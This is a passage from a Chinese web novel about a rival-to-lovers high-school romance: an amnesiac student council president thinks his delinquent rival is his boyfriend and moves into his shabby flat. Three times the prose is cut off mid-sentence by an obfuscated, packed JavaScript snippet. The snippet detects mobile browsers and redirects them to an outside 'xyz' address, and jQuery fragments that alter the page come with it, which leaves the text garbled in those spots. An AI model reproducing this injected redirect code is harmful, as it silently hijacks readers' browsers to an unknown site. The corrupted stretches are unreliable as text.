沈楚楚锤他一下,叫他别贫,顾渝有些好奇:“妇女之友?” “没错,”秦云鹤重重点头,拿起桌上的笔袋一拍,开始说书,“想当年……不不不,就你不在的那段时间女寝突遇变态,学校一直找不到人,受害者连连叫苦,所以松哥找了几个男生戴着假发,带头睡在女寝走廊里抓人。虽然变态抓到了,但是老师觉得松哥带头进女生宿舍的行为太无法无天,要将他退学。” “最后以我们楚楚女侠为首的二百一十四位住宿女侠们联合签名的请愿书,以众女之力对抗校方强权,成功驳回其处分决定,所以此次事件史称‘三八十一高女舍请愿案’,简称‘三八七’。从此以后,松哥人赠外号‘妇女之友’。” 沈楚楚不好意思地抿嘴一笑,深藏功与名。 但作为一班之长,沈楚楚还是忍不住帮唐松说了两句好话,免得等会见面他俩又打起来。 “唐松脾气是暴躁了点,但是刀子嘴豆腐心。之前不知道是谁在群里造你的谣,把我们都要气死了,还是唐松第一个站出来怼他的,最后还差点把传谣的人打了,都快吓死我了。” “是啊是啊,”赵棠收到沈楚楚的眼色,立马在旁边插话说,“他还私下问过我和楚楚好几次你的消息呢,没想到吧,他特别,特别关心你哦!是不是啊秦云鹤!” “啊这,”秦云鹤不知道她们在搞哪一出,但是看了一眼还有点期待的顾渝,只得尬笑两声,“算……是吧。” 顾渝没注意到他们仨古怪的表情,满意地点点头,垂下眼。 原来他这么担心我,连大家都知道。 所以刚才的事情,说不定……另有隐情呢? * 阿莱伤得不重,就是吓得不清,唐松带着他去了一趟小诊所包扎了一下。把他送回家,掏出手机发现赵楷竟然给他打了十几个未接来电。 他平时轴得很,谁也治不了他,但班主任还是个小姑娘,迟到了几次之后商谈无果,还他面前掉了几次眼泪。他实在受不了,才答应除了早晚自习每天都去上课。 他烦躁地抓了抓脑袋,给赵楷回电话:“喂。” “都几点了你还不来上学,”电话那头十分激动,“你不是又出去惹事了吧!” “哪能啊楷姐,”他撒谎都不带眨一下眼睛,把两小时之前打的架忘得一干二净,“睡过头了,正往学校走呢。” “下节课我的课,看不到你,课不上我也出去逮你!” 他挂了电话,才想起出门的时候书包落在了家里,不过他有没有都无所谓,校服外套一甩披在肩上,就这么晃到班门口的时候,化学老师正声情并茂地在台上讲:“新制银氨溶液一定要现用现配……” 这事他干过无数回,闭着眼睛都做的来,他偷偷开了后门,压低身子想趁机溜进去,没等到座位上就被面前的突然出现的障碍物撞了一下。 他抬头一看,原本宽敞的地盘被一个人占了一半,这人还正居高临下的望着他。 “顾渝?”没想到会在这种地方看见他,“你坐我这干嘛?让一下。” 顾渝好脾气地把椅子往后退了退,让他从桌底下过去,但桌子太窄,两人的个头又都不小,唐松钻到一半就卡住了。 这卡住的位置实在微妙,他整个头挤在课桌和顾渝的腿下,只要稍微抬头,嘴唇就会擦到他大腿内侧的校服布料。 任谁趴在这种位置都会很尴尬,他不敢轻易动头,但视线受局限,手摸索着拍了拍顾渝大腿:“你再侧过去一点。” 顾渝试着动了动腿,没成功:“你肩膀卡在这,我动不了。” “爹的,那你站起来!”在这小地方实在是太憋屈。 顾渝抬头看了看化学老师,那眼神往他们这瞟了又瞟,显然是一副你们最好不要扰乱课堂秩序不然我就开骂了的表情。 他抿了抿唇,没思考太久,身体后倾,伸手提起唐松的后领,把他整个人都提了起来,唐松还没反应过来,顾渝小腿顶着他的屁股,轻轻用力将他迅速平移了过去。 “卧槽!” 唐松整个人被提着顶了过去,差点摔倒在过道,好不容易稳住身形,爬到座位上的时候还不敢相信发生了什么。 “你故意的吧!”虽然不疼,但姿态着实有些丢人。 “这样效率更快。” 他提了一口气刚想发火,讲台前方的化学老师开口了:“唐松,别搞小动作!” 气没撒出来,他只能猫下腰试图把自己藏在前桌的后背下,恶狠狠地看着顾渝:“大学霸,你跑来坐最后一排干嘛?” 他伸出大拇指对着旁边的垃圾桶的位置指了指,压着声音扮凶:“看到没,这儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883015|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我的专属地盘。” 威胁没什么作用,顾渝面不改色,将视线落在了他手上缠的纱布上,轻轻开口道:“这个……疼吗。” 唐松一愣,用一种见鬼了的眼神看着他。 他随手卷起桌上的语文书抵住顾渝的腰,十分警惕:“你又想干什么?你现在什么也不是了吧。” 这就是唐松讨厌顾渝的原因之一。从高一顾渝进学生会到高二任职学生会主席为止,他每次打架逃课犯事都会被不知从哪里冒出来的顾渝抓到,好似在他身上安了定位雷达一样精准。 甚至受了伤,也被顾渝一张嘴颠倒黑白说成是影响校园仪容仪表,命令他写检讨。 可他刚才在路上突然想到,现在进入高三,学生会主席也另有其人,他竟然还暗戳戳地想着怎么整治他,真是卑鄙小人,可恶至极。 顾渝却是一愣:“我什么都不是了?你这算是单方面通知我?” 唐松不解:“这还用得着我通知吗?我现在干什么,已经轮不到你指手画脚了吧。” 他这样一副理所当然的态度,却让顾渝有些不知所措。 结合早上唐松激烈的反应,他猜测道:“因为我一直没联系你,你生气了吗。” 唐松冷笑一声:“清醒一点,我对你的行踪不感兴趣,好吗。” 好吧。 确实是生气了。 这要怎么办? 纠结之中,顾渝忽然想到日记里说过的,“他非常好哄。只要摸摸他的手声音放软一点,他就不会再生气啦。” 要不然,试试? 顾渝面色显出几分纠结和挣扎,给自己做好心里建设,轻轻抬起手来,在空中停顿了一下,试探着覆上了唐松握着语文书的手。 硬硬的,有点硌。 他还是第一次握男孩子的手,有点紧张,咬着牙小声道:“对不起,我错了。” “哗啦”一声,语文书页四散开来,掉在了地上。 唐松震惊之余,几乎控制不住自己的音量:“顾渝,你脑子有病吧!” 这话的声音好巧不巧夹在化学老师讲话的间隙,霎时间一颗颗脑袋又面带震惊地回过头来看着最后一排的唐松。 “感觉好久没听到这种声音了竟然还有些怀念……” “我发誓唐松刚进来五分钟不到。” “管着唐松已经成为学神的肌肉记忆了么,恨又何尝不是一种另类的爱啊。” “其实脑子有病说的也没……”接着马上被捂住了嘴。 化学老师也被这一声冲击的不小,他忍无可忍,终于咆哮:“唐松!给我出去站着!” 站就站,也没少站。只是唐松不死心地指着顾渝:“他先招惹我的,他怎么不用站。” 老师还没说话,顾渝先站起来了:“对不起老师,我也有错,自愿受罚。” 化学老师深吸一口气,气沉丹田,小蜜蜂差点爆炸:“那你们两个都给我出去站着!” 二人先后走出教室,顾渝追着唐松跟他站在了一边,肩膀靠肩膀,试图营造一点对话氛围。 谁料唐松立马肘开他,抬脚想去门的另一侧,顾渝拽住他的手臂:“我没有故意不联系你。” 正午的光透过走廊的窗户洒在顾渝脸上,他睫毛纤长,神情柔和,说这话时眼睛耷下去,甚至带着一点可怜。 唐松撇眼看他:“你——,看到消息了?” 顾渝摇摇头,声线带着少年与青年之间独有的低醇与清冽:“没有,手机丢了,账号也登不上去了,看不到你的消息。” 唐松像是松了一口气:“你不用跟我解释,我不想听,也不感兴趣。你没事离我远点就行。” 顾渝怔了一下:“那我们的关系呢?” “我们?”唐松狐疑地看着顾渝,怀疑他今天是不是被附体了,以前顾渝目中无人的样子恨得他牙痒痒,不过现在这样,好像比以前还欠揍,“我们的关系有变过吗?” 顾渝又不明白了。 那就是还想和他在一起? 但是又要他离远点,离远点,那还怎么谈恋爱? 他虽然已经被打入冷宫,但还是陛下的妃子? 难道是…… 他心里有了一个不好的猜测,顿时严肃地摇摇头:“不行。” 唐松气乐了:“那你到底想怎么样?” “这种关系是不健康的,”顾渝想到早上被唐松带走的那个男孩,感受到地位的岌岌可危,“你只能有我一个。” 死对头还要独家冠名权吗?唐松无语,大早上饿着肚子打了场莫名奇妙的架之后,已经懒得跟他争论:“随你的便。” “不过,有件事得事前说清楚,”不等顾渝回答,唐松揪起顾渝的衣领子,再次警告顾渝,“你敢把我打架的事告诉楷姐,后果自负。” 顾渝被揪着衣领子,他个子高,被带着微微曲着腰靠近了唐松一点。 距离变近了,唐松撇这嘴,皱着眉,一副“老子很烦”的样子。 顾渝睫毛半垂下来。 还在生气? 怎么办? “如果这都哄不好的话,就要轻轻搂住他的腰慢慢摸顺毛了,他就会露出柔软的肚皮,但是有一定失败几率,后果……就先不说了。” 要不然,再试试? 反正连手都摸了,还有什么是不能干的。 日记俨然成了顾渝的恋爱宝典,他僵硬地抬起手,轻轻贴上唐松的腰侧,很小幅度地摩挲了一下,试探着道:“……我都听你的,你……可不可以别生气了。” 唐松被腰上的温热的触感猛然烫到,他打了一个激灵,触电般后退,后背一下砸在了墙上。 这小子疯了吧。 他贴在墙上,被顾渝的举动惊得说不出话来,连愤怒的表情都忘记做了,就这么大睁着眼睛看着顾渝,一副“大傻春你在干什么”的模样。 顾渝抽回手,内心大为震撼。 好像,还挺管用? 他居然跟我撒娇了。 …… “隔壁刘川现在正在国外旅行呢,你看人家小日子过得。说起来要是当时学神不受伤的话,早都拿保送潇洒了,现在都高三了也不知道能不能跟得上啊,”秦云鹤万分唏嘘,“都是命啊。” 唐松对这种理论不屑一顾:“别神棍了,哪有什么命运。” 他心里不知为何有些烦躁,脑袋一歪,正好看见顾渝从门口进来的身影,额发有点湿,应该是洗了把脸。 他走的不是很快,但看得出很稳,脸上本来不带什么情绪,看见唐松望向他的眼神,很明显地怔了一下。 顾渝一看他,唐松就别扭地别过了脸,脸颊埋在肘窝里,闭上了眼睛。 九个月了啊……唐松默默在心里盘算,受的什么伤,真是伤得不轻。 4. 收留 唐松从昏昏沉沉中醒来的时候,天色通红,从教室的窗户向外一看,火烧云热烈地在天上翻滚。教室里只剩下一半人,秦云鹤正整理书包,看见他醒了,说:“松哥,晚休了。” 他往旁边一看,顾渝的座位空了。 “顾渝被楷姐叫走了。”秦云鹤说。 唐松十分不屑地摆摆手:“我管他干嘛去?” 他坐在位子上清醒了一会儿,拿出手机给早上李叔留给他的号码拨了过去,没有打通。 一连拨了几次,都显示无人接听。 唐松诧异地挑了挑眉,也不纠结,直接给那个号码发了条短信:我是电子厂家属楼的户主。晚自习请假,带你看房,直接到小区门口等我。 他在学校外面点了碗八块钱的米粉,嗦到一半的时候,那号码回复他一个字:好。 唐松吃完饭,天已经全黑了,到小区门口的时候,有人站在门口等候。 夜晚的九月有些阴凉,那人只穿着校服,脚边放着个很小的行李箱,他半个身子陷在阴影中,半个身子站在暗淡的暖黄色灯光下,秋风一吹,显出几分单薄。 唐松本来以为这就是他的新租客,没想到走近一看,竟然还是熟人。 “顾渝,你在这干嘛?” 灯光下的身影抬头望向他,顾渝拉着行李箱已经走到他前面来,鼻尖和脸颊冻得发红,一看就是已经站了很久。 顾渝提着行李箱向他走进,唐松眼神防备地看着他:“你干嘛?” “我无家可归了。”顾渝说。 不知道失忆之前他做了什么,回到家之后他和顾敛章就发生了激烈的争吵,然后被赶出家门。不过从李辛奇嘴里了解到的冰山一角,其实可以预见的到,他这两年做出来太多脱轨的事,顾敛章耐心耗尽,也不算奇怪。 不过也无所谓,他也早就不想在那个家再待下去了。 但是离开那里,他又能去哪呢? 好巧不巧,那本顾渝皱着眉看完的恋爱日记上有一个地址“奉宁市xx电子厂家属楼3栋102”,他知道,这也许是唐松的家。 在网上搜寻了一下,发现这是奉宁市某棚户区里的一个废弃厂房的家属楼,并且隶属于十一中附近的学区房。更巧的是,不久前恰好有人在网上发布了“3栋102”的招租信息。 顾渝纠结了很久,还是试探着拨下了这个电话。 毕竟他也有点想,了解一下男朋友。 白天一直没有机会说出口,唐松睡得太熟,他叫了几次都没有叫醒,加上楷姐找他,回去的时候唐松已经不在了,就索性直接过来。 “哦,”唐松凉凉道,“所以是让我给你放鞭炮庆祝一下吗?” “……”顾渝没接话。 男朋友嘴太毒,他需要时间适应。 二人在原地僵持了一会,顾渝立在原地丝毫没有离开的意思。 唐松皱了皱眉,心里一阵烦躁。他低头看了眼时间,一边想着这租客怎么还不来,一边掏出电话拨通了对方的号码。 然而下一秒—— 手机铃声在黑夜中突兀地响起。 二人的视线齐齐落在顾渝手里的手机上。 顾渝缓缓划开接通键,轻轻道:“喂。”喂喂喂喂喂喂喂。 他的声音从对方的话筒中同时传出来,回音在他耳边缠绕。 唐松不可思议地看向顾渝,挂断电话:“你?” 顾渝点点头。 “你要租我的房?” 顾渝又点点头:“嗯,惊喜吗。” 唐松一下子炸毛了:“惊你爹的喜,你怎么找来的,玩儿我呢?” 从白天开始,顾渝就不对劲,很不对劲。可人还是原来的那个人,脸还是原来那张脸,要让唐松说出来顾渝到底哪不对劲,他还真的没什么头绪。 他想不明白,顾渝这位众所周知的含金汤匙长大的少爷,为什么会摇身一变成棚户区的租客,好巧不巧地又想租死对头的破房子。 他到底要干什么? 顾渝眼神直直看着唐松,抿紧唇说:“不欢迎我吗。” “有病。”唐松不愿理会,翻了个白眼,转身走了。 他走出两步,背后的箱轮声压在石子路上,在安静的夜里轰隆隆地十分响亮。 身后声响越来越近,唐松不耐烦地回过头来:“你跟着我干嘛?” 顾渝说:“不能先进去吗。” “进你……”唐松本来想破口大骂,但看着顾渝几秒,突然扯出一个诡异的笑容,“好啊。” 他倒要看看,顾渝在玩什么把戏。 他们小区之前是某厂子的家属楼,据说至少三十年历史。但后来厂子倒闭,小区也无人看管。从唐松有记忆以来,除了门口门卫大爷小屋的房顶挂的一盏忽明忽灭的灯泡外,其他所有地方到了晚上都是黑压压一片,要打着手电筒行走。 小区老人多,晚上为了省电大多数不爱开灯,从下面望去,只能看见零星几家住户关紧的窗帘里透出的白炽灯微弱光亮。 棚户区无人管理,靠着楼自行车歪歪扭扭地停着,不宽的道路还停着几辆落了至少十年灰的废弃破车,旁边空隙堆着几排白菜大葱,将将留下一个能过人的路出来。 天太黑,顾渝推着行李箱被不知从哪冒出来的大白菜绊了好几下,一抬头,唐松已经走出很远了。 刚走到楼门口,唐松就道:“防盗门坏了,门铃也是坏的,直接拉开就能进,安保对贼好。” 楼道里背阴,常年阴暗潮湿,散发着一股浓重的霉味儿和不知从哪冒出的酸味。顾渝没忍住呛了几声。 唐松看了他一眼,没说话,掏出钥匙开锁,轻车熟路地又踢了门一脚,非常机械地道:“进门,开锁的同时踢一脚,这门夹得紧,难开。” 家里整个布局站在门口就能一眼望尽,客厅还保持着早上唐松出门时的模样。 李叔喝水用的碗还在那张掉了漆的八仙桌上搁着,桌子底下码着一堆旧报纸。门口的装着碎玻璃的蛇皮袋子倒是被整整齐齐码到了客厅的窗台去,窗台上耷拉着一个略有些滑稽的骚粉色窗帘,图案已经洗的看不清了。 说实话,这看起来真的很难像是有诚意出租的房子。公共区域几乎被全部占满了,而且家具设施也是缺胳膊少腿老旧得不行。 唐松把卧室的门打开,里面只摆着一张单人床和书桌,倒还算整洁,只是灰尘有点大,顾渝没忍住又咳了两声。 “少爷的金肺吸得明白我们贫民窟的空气吗?”唐松趁势讽刺,“接受不了就赶紧走。” 他本以为下一秒顾渝就要对他进行开大嘲讽,刚捏紧拳头,想着今天怎么也得在武力上取胜一次。 没想顾渝直截了当地说道:“……我今天可以留宿吗。” “你以为我在乎你……嗯?”唐松脱口而出的话一下卡壳,“等等,你真要住?” 顾渝一愣:“我付你钱。” 当然不是钱的问题,唐松满脸都是防备:“你真觉得以我们的关系,住一个屋檐下合适吗?” ……以他们的关系? 顾渝瞬间了然。 怪不得唐松见到他有点被吓到的样子,原来是这个原因。 好吧,是他没想那么多。 以他们的关系来说,不跟他说一声就忽然找上门来要同居,确实很冒昧,他不同意,也是情理之中。 只不过他无家可归,走投无路,第一个想到的就是唐松。 这是他的错,校园恋情嘛,保守点总是没错的。 虽然男朋友一张嘴淬了毒,说话的方式有点叫他难以适应。 想明白了,顾渝说了声“抱歉”,提着行李箱往外走。 走到门口,手抓住门锁,又对着丝毫没有阻拦他的意思的唐松解释:“不联系你,一开始是我在医院里动不了,之后是因为我的手机摔碎了,我不是故意的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883016|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >意料之中的,唐松没有理会他。 一个防盗门被顾渝拧了三分钟都没打开,唐松翘着二郎腿坐在塑料凳上在后面好心提醒他:“门都不会开,笨死了。你往右边用力掰一下。” 顾渝:“……” 门开了,面前的楼道黑漆漆一片,刚走了出去,身后门“咣”地一声响,是唐松迅速把门关上了。 夜幕漆黑,顾渝拎着行李箱又一次陷入了迷茫。他对这个区域非常陌生,今天过来的时候打了导航,刚才忘记关掉,他摁了一下开机键,发现手机已经没电了。 四周是破败的灰墙砖瓦,几个饮食店和小卖部并排紧紧挨着,霓虹灯牌匾不停闪烁,店面里的卷帘都半关着,透出非常微弱的灯光。 这里与他熟悉的城市完全不同,在此之前,他从未想象过奉宁市光鲜亮丽的外表下还能隐藏着这么破败的存在。 顾渝走进一家小卖铺,里面打着电暖风,暖洋洋的。他叫醒坐在柜台里面打盹的老板借充电宝。 老板说没有充电宝,但是有电源可以充电。 于是顾渝索性蹲在柜台旁,一边充电一边找附近的租房信息。 正是开学之初,宿舍因为新生军训被征用,没有多余的床位给他住,附近的房子也基本都被租出去了,剩下的都是高级小区,价格太贵,他走的时候没带什么钱,租那种房子的话,根本无法支撑他读完高中。 老板看他冻得发抖,好心给他找了一件毛衣叫他套上,他笑笑拒绝了。 过了一会,他觉得浑身暖起来了,回头一看,不知何时老板默默把小太阳搬到他身边,已经睡了。 顾渝没找到房子,被温暖的小太阳烘得昏昏欲睡。一切都像是一场梦一样,就这么一睁眼,他竟然多活了两年。 这时候,老板推推他:“孩子,别睡了,我们要打烊了,你快回家吧。” 顾渝起身应了一下,走出门,寒风与露水一个劲儿地往他身上脸上招呼,他身上的那点热气一下子就散了。他靠着路缘石坐下,背对着光,影子被拉得很长。 如果和他爸妥协,说不定起码还能换得一个住所。不过他爸肯定又会叫他赶紧从这里退学,接着再他把送到国外自生自灭。虽然生存境遇总比像现在这样,被直接踹出家门要好一些,但他并不想这么做。 顾渝冻得冰凉的手缓缓摸上薄薄校服下规律跳动的心脏。他总觉得内心深处有什么东西,在央求他留下来。 又坐了一会,他拿出手机开始找导航。 他正搜索着附近的旅馆,背后突兀地出现一个闷闷的声音,语气有点别扭: “喂,你真无家可归了?” 他一回头,唐松裹着一个军大衣,光着脚穿着大红的水晶拖鞋,表情一如既往的很臭。 淡棕色的眼瞳雾蒙蒙的,在昏暗的灯下抱着臂看他。 唐松走上前几步,垂着眼俯视着他:“你不会一直在这坐着吧。” 虽然其实顾渝刚刚才从小卖部出来,不过现下他明白,沉默才是最明智的选择。 见他不说话,唐松以为他默认了,烦躁地抓了抓头:“你真无家可归了?不是,那你为什么偏偏过来找我?你亲戚呢?” 顾渝诚实地说:“我没有可以投奔的人了。” 唐松没有说话,只是低头审视着他。曾经讨人厌的冷淡面容现在像个可怜的落水狗一样耷拉着眼尾,甚至有点委屈地看着他。 他似乎陷入了某种深刻的思考,眉头皱的很紧。 良久,唐松吸了一下鼻子,把下半张脸都藏在了军大衣的领口,只露出一个鼻尖,嘟囔道:“……行吧。” 说完转头快步往前走,拖鞋啪嗒啪嗒敲在地上,速度越来越快。 顾渝没有听清他说什么,在原地愣愣地看着他。 直到唐松趿拉着拖鞋向前走出一段路,又停下,挑着眉回头看着愣在原地的顾渝,插着兜懒着声音叫他:“冷死了。傻子,走啊。” 5. 好兄弟 顾渝跟在他后头说:“如果你觉得我们两个住在一起不太合适,我会很快去找别的房子。” 可唐松不看他,也并不跟他搭话。 门被重重关上,到家了,唐松伸出一根手指威胁:“少说那些废话,我再最后警告你一次,我让你住进来可以,但你最好不是在耍我。” 顾渝还站在玄关门口,“你生气了吗?” 唐松把水晶拖鞋甩掉,进了屋:“我对你就只能有这种态度,你爱住不住。” 顾渝不明白,“为什么?” “天,”唐松哈出一口气,无语至极,“你真的要问为什么?你是失忆了,还是失心疯了。” 他本意是嘲讽,没想到顾渝睫毛轻颤,轻轻“嗯”了一声。 唐松:“……” 唐松:“你真失心疯了?” “……我失忆了。” 唐松以一种看傻子的眼神看着他:“你应该是这世界上最不会讲笑话的人。” 顾渝叹了一口气,掀起头发给他看额头上的疤:“是真的,我早上在班里已经说过了,之前不小心碰到头,以前的事都想不起来了。” 唐松抬眼一看,顾渝的额角真的有一个淡粉色的疤痕,疤痕面积不算小,从颜色来看,应该是最近受的伤。 难道顾渝真失忆了? 唐松上下打量着顾渝摩挲着下巴,盘算着这话的真实性。 仔细思考一下,如果他说的是真的,那么今天早上开始顾渝一切的古怪举动都有了合理的解释。 因为以前恨不得拿鼻孔看他、不小心碰到他都会厌恶地洗十遍手的顾渝什么时候对他这么低三下气的说过话? 顾渝又说:“你知道我受伤的事情吧,要是不信的话,我可以给你看医院的报告。” “这倒是不必了,”唐松倚在墙上斜着眼看他,心里已经信了八分,“所以,你也忘了我们之前的关系?” 才会显得这么异常的……友好。 顾渝果然问:“……我们是什么关系?” “当然是……”两看两相厌的关系。 他清楚的记得,刚开学的时候,顾渝对他也只能算是不冷不热,但他也不甚在意,因为顾渝一看就是和他玩不到一块去的人。 直到有一回几个高年级的不良在厕所里欺负同学,他看不过去出手阻止,结果那几个人把他堵在学校后面荒废的小花园,他当时又瘦又小无力反抗,被揍了之后那一群人扬长而去,只剩他趴在地上疼得不住喘气。 不知道躺了多久,天旋地转之中,他看见爬满藤蔓的长廊立着一个人,他深吸一口气道:“哥们,麻烦把我抬到医务室行吗。” 那人缓缓走进,唐松视线聚焦,发现这是他班里的那个浑身写着生人勿进的学霸,他瞬间有点不好意思了,只是他还没说话,顾渝就非常明显地皱了一下眉头。 “你打架了?” “是他们先欺负人的,谁能想到这么好的学校还有流氓啊……” “你跟谁打的架?” “高三的吧,其他的不知道。” 唐松只顾着挥拳头,连他们的名字都不知道。 顾渝没再多问,仍旧是皱着眉,居高临下地看了他一眼,接着弯腰插进他的咯吱窝一提,他整个人就轻飘飘地压到了一个不算宽广的背上。 ……好像被过肩摔了一下。 唐松刚想说不用这么客气,他这么大人了被人背怪不好意思的,就隐约听到顾渝嘀咕了一声:“又瘦又小的……” “……”他还是闭嘴吧。 后来发生的事情其实有些模糊不清了,只记得他在医务室睡了一觉,醒来十分尿急,冲去厕所时发现顾渝也在里面,顾渝好像完全没有发现他,在洗手池面前一遍一遍地清洗洗着手和胳膊。 他无聊细数了一下,他竟然洗了有整整十遍!! 等到对方发现他的时候,他正要跟拥有了“革命交情”的新兄弟打招呼,可顾渝只是甩甩手冷冷看他一眼,什么都没说就快步走了。 唐松尴尬地挠挠头,想了半天才回过味来,难道就是因为背了我吗?! 他对顾渝的第一印象其实没有那么负面。不过后来顾渝进了学生会之后,他们的牵扯才逐渐变多起来,不知道哪一天,两个人已经变得剑拔弩张,彼此敌视。 想到过去,想到顾渝以前那副以折磨他为乐的样子,他就恨得牙痒痒。 虽然现在的顾渝,没有了以前的冷漠,变成了一只待宰的羔羊。 羊入虎口,唐松勾起嘴角,突然露出一个亲切的笑容:“你说呢。” 眼神清澈的顾渝不疑有他,磕磕巴巴地问:“那种……关系吗。” 那种关系?虽然不知道是哪种关系,但看顾渝对他忽然晴朗的态度,估计跟他想的也不会有什么差别。 唐松自信开口:“没错!就是那种关系。” 顾渝脸腾一下红了。 “我们当然是——”他继续道。 顾渝心砰砰跳起来。 他要有男朋友了? 唐松一字一顿道:“好、兄、弟的关系!” 顾渝脸唰一下又白了。 好兄弟?? 他没有男朋友了。 他被甩了! 他为什么会被甩?!! 顾渝内心屈辱不堪。 恋爱一天没谈过,他却失恋了。 他接受不了。 顾渝只觉得五雷轰顶,不愿再看唐松一眼:“我要回房间了。” “你这什么意思,”唐松没想到他会是这种反应,“难道你不信吗?” 顾渝咬着牙:“是么,我都不记得了。” “这好办,我帮你回忆,”唐松毫无压力地胡编乱造,“额,就比如我每次被校外的人欺负,你都过来帮我!” 说谎要半真半假才更容易让人相信,所以唐松说的事倒都是真的,只不过稍微颠倒了一下前因后果。 比如其实是顾渝阴魂不散地跟着他抓他打架,还总是威胁他告诉老师,又扣他分,不过好歹小混混全被顾渝吓跑了,所以也勉强算是“帮忙”。 “还有我被罚扫操场,你每天都过来陪我,一陪就是几个小时,你不信的话可以去问其他人,他们都知道!” 后来他被罚扫了半年的学校操场,顾渝负责监视他,半年扫下来,负责扫操场的清洁工阿姨腰间盘都养好了,顾渝每天都拿个小本本兢兢业业地看着他,这怎么不算是一种“陪伴”呢。 顾渝略显屈辱,唐松以为他内心深处还在进行生理性的抵抗,循循善诱,试图加深羁绊:“我们以前形影不离,我到哪个犄角旮旯你都得跟着,没有人比我们更了解彼此了。” 的确是形影不离,顾渝每天恨不得裤腰带上栓个绳看着他。 也的确是非常了解,他在哪个犄角旮旯打架,逃课去哪,骂人喜欢用什么脏字,哪只拳头打人最疼,顾渝全都一清二楚。 顾渝没说话,唐松继续试探:“所以你怎么想?” 还能怎么想?顾渝闭了闭眼睛。 唐松说的应该都不是假话,毕竟和日记的内容都对上了,可惜他一张嘴颠倒黑白,硬生生把男朋友的“男”给吃了。 哪有好兄弟关系形影不离,好好的阳关大道不走,天天往犄角旮旯里钻的。 往犄角旮旯里钻的时候,那都是去亲嘴的吧! 什么好兄弟,反正他没见过,背地里亲嘴的那种好兄弟。 可现在顾渝寄人篱下,只能暂且隐忍不发,“ 哦,我相信你。” 他咬牙切齿地说出那三个字:“好、兄、弟。” 那一瞬间唐松肉眼可见的容光焕发起来,而他不愿多看一眼,转身欲走。 "等等。"唐松突然叫住他。 顾渝脚步一顿,回头看着他,下一秒,一块毛巾从空中飞来,顾渝下意识接住,唐松说:“好兄弟,先大扫除吧。” 顾渝抓着湿毛巾迷茫地看着他,唐松不眨眼的扯谎:“唉,真是人不如旧,以前学校值日的时候,你连扫帚都不让我拿。” 顾渝脸色铁青,亏他还敢把实话都说出来。 桩桩件件都是他们恋爱时候的事情,说得这么亲密,他就不怕自己怀疑? 唐松看着他的表情一下警觉:“嗯?你想起来什么了吗?” “没有,”顾渝扯了扯嘴角,“那我们关系还真是,不错啊。” 为了彰显他们的深刻情谊,唐松忍着不适感,拍了拍顾渝的肩膀,假笑道:“那当然了,好兄弟!” 两个人对视一眼,又偏开头,又对视,同时露出了这辈子最虚伪的笑容。 * 唐松把桌子抬到角落,又把那些被精心包裹起来的廉价手工玻璃艺术品小心翼翼地一个一个摆到了桌上,突然想起之前前呼后拥风光的顾渝。 “他每天上下学都是豪车接送,学校有栋楼还是他爸捐的,还是独生子,真的人生赢家。” 而此时上下学都是豪车接送,给学校捐楼的人生赢家现在正撸起袖子打扫那十平方米的小卧室。 他啧啧感叹,原来有钱人家破产原来都是从天上直接落到地上去,从住金窝直接落魄到住狗窝。那还不如他这种没产可破的人,虽然没钱,但是毫无风险。 从房间里搬出收纳箱,把他包裹好的“玻璃艺术品”和装着碎玻璃的麻袋一件一件摆了进去,码了整整三个箱子。 没了这些破烂,客厅里顿时空旷不少,但其他杂七杂八的东西一时间也没地方搁置,唐松对着顾渝阴阳怪气地喊道:“喂好兄弟,其他东西周末我去卖掉成不。” 顾渝从房间里走出来,他衣服上不可避免的蹭上了灰,脱掉了外套,此时只穿着一个半袖。 他一靠近,唐松发现他手腕上居然有个纹身。 那是一个栩栩如生的荆棘状纹身,墨绿色的荆棘在手腕处绕了两圈,鲜红的玫瑰就嵌在其中,唐松有那一瞬间甚至觉得他手腕上真缠着两圈荆棘。 “我靠,纹身,”他盯着那圈荆棘,没想到这么快就就抓住了顾渝的把柄,“没想到你还偷偷摸摸干这事。” 顾渝动了动手臂,下意识挡了一下纹身。而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883017|176367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后突然反应过来什么似的:“你不知道?” 这个纹身是他醒来之后突兀地出现在他手臂上的,应该是失忆之后纹的,只是唐松不知道,让顾渝稍显惊讶。 “额……”唐松反应极快,理直气壮,顺势倒打一耙,“我说你怎么一直不穿短袖,还在手腕上缠绷带呢,你太不够义气了,居然好兄弟都瞒着,我要是知道,我肯定跟你整一对儿啊!” 顾渝有点发懵,不是被唐松的态度,而是被另一件有些超出他认知范围的事情感到不太了解。 他没有在唐松面前穿过短袖,甚至没有在他面前脱过衣服……他们竟然,谈得这么柏拉图吗? 只是心思还没飘远,唐松兀地哼笑了一声。 “我现在有点平衡了,”唐松说,“学习再好,你也是考不了公的人了。” 顾渝:“……”有点懂了,小学鸡能谈什么真情真爱。 